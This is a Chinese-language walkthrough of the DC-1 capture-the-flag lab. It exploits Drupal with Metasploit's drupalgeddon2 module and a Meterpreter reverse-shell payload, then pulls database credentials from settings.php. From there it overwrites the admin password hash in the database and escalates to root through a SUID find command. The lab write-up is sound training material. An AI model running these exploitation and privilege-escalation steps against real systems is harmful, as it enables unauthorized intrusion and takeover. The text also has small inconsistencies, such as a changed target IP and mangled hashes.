DC-1
环境配置:
kail和DC都设置为NAT模式
然后开始信息搜集,首先确认自己的ip
因为靶场和主机存在于同一网段,就先主机存活探测下
上面的是DC靶机
arp-scan -l查询后确认完毕
获得 DC-1 IP:192.168.12.146
2.查找到IP后可以查看靶机开启了什么端口(可以使用nmap)
nmap -A 192.168.12.146
-A : 激进型 启用许多扫描选项,版本扫描,脚本扫描等(慎用)
开启了20.80.111端口,尝试访问下ip
3.指纹识别(whatweb)
whatweb -v 192.168.12.146
通过查看返回信息 很容易找到CMS版本以及名字
2.漏洞利用
Drupal的话msf有一些现成的模块我们可以尝试试试
1.进入msf
msfconsole
2.查找相应模块
search Drupa
3.使用相应模块,咱也都试了下,发现 exploit/unix/webapp/drupal_drupalgeddon2 这个里面可以。
use exploit/unix/webapp/drupal_drupalgeddon2
4.选择查看payload有什么
show payloads
5。使用payload
set payload php/meterpreter/reverse_tcp
6.查看需要配置的参数
show options
yes的地方是必填的,默认基本上帮我们填好了。我们只需要填靶机IP即可也就是填RHOSTS
7.配置
set rhosts 192.168.16.124
8.启动
exploit
session已建立
9.查看DC-1基本信息
sysinfo
10.获得shell
shell
为了方便看我们使用python进行反弹
python -c “import pty;pty.spawn(’/bin/bash’)”
3.flag1
ls直接查看当前文件,我们就可以看到flag1.txt
再使用cat查看
ls
cat flag1.txt
给了个提示:Every good CMS needs a config file - and so do you.
每个好的CMS都需要一个配置文件——你也是。
4.flag2
每个好的CMS都需要一个配置文件——你也是。
那我们找下他的配置文件
find . -name “set*”
查看内容
cat ./sites/default/settings.php
发现flag2
文件里面有数据库的账号密码
也给了提示
*暴力和字典攻击不是最常见的
*只有获得访问权限的方法(您将需要访问权限)。
*你能用这些证书做什么?
暴力破解的话想到前面80的登录框 意思应该是没办法暴力破解登录
后面的意思应该是后续需要我们提权操作。
5.flag3
前面给了我们数据库账号密码以及数据库名字
‘database’ => ‘drupaldb’,
‘username’ => ‘dbuser’,
‘password’ => ‘R0ck3t’,
我们尝试登录一下
mysql -udbuser -pR0ck3t
查看库
show databases;
进入drupaldb库中
use drupaldb
查看库中的表
show tables;
仔细观察我们可以看到有一个users的表,然后查表
可以看到admin的密码给加密了S S
SD应该是某种hash,也不好直接解密。可能文件中有加密的文件,我们去找找。
find . -name “hash”
找到文件后(./scripts/password-hash.sh)大概查看下,简单运行下看看有什么东西意思应该是直接再后面加密码就会返回加密后的结果
我们简单测试下,设置密码123456
./scripts/password-hash.sh 123456
果然返回了hash后的值。
原来admin的密码hash后为:S SSDvQI6Y600iNeXRIeEMF94Y6FvN8nujJcEDTCP9nS5.i38jnEKuDR
显然靠我们一个一个试不切实际。可以换一个思路既然找不到密码是多少,那么我们就把原来密码替换了
刚刚123456 hash后为:S SSDFTjE6MQfJJx3er.iWGVcIIZD8XvaFmGM.F7ZiDbPlxpC./1X/HC
重新回到数据库drupaldb内。
更新密码
update users set pass=’S SSDFTjE6MQfJJx3er.iWGVcIIZD8XvaFmGM.F7ZiDbPlxpC./1X/HC’where name=“admin”;
更新完成后 访问网站
得到flag3;
并且获得提示:Special PERMS will help FIND the passwd - but you’ll need to -exec that command to work out how to get what’s in the shadow.
6.flag4
根据提示passwd我们可以想到/etc/passwd
cat /etc/passwd
发现里面有flag4,给了个路径/home/flag4
切换到flag4里面看看有什么文件
cd /home/flag4
ls
发现权限不够。需要提权
首先试试SUID提权
查看默认以root权限执行的程序
find / -perm -u=s -type f 2>/dev/null
find 指令
/ 根目录(查找位置)
-perm 权限
-u 用户(s=特权)
-type 类型
f 文件
2>/dev/nul 过滤错误信息(不显示错误信息)
看到find就在其中,那就比较简单了。直接使用find提权
find / -exec “/bin/bash” -p ;
再次查看
cat flag4.txt
找到flag4
并且给出提示:
Can you use this same method to find or access the flag in root?
Probably. But perhaps it’s not that easy. Or maybe it is?
7.flag5
根据提示我们进入/root,ls查看目录下的文件
cd /root
ls
可以看到有一个thefinalflag.txt 最后的flag
直接cat查看即可
cat thefinalflag.txt
获得最终的flag
8.总结
1.nmap,arp-scan使用
2.whatweb 指纹识别
3.msf使用对应的模块
4.mysql的修改数据
5.SUID提权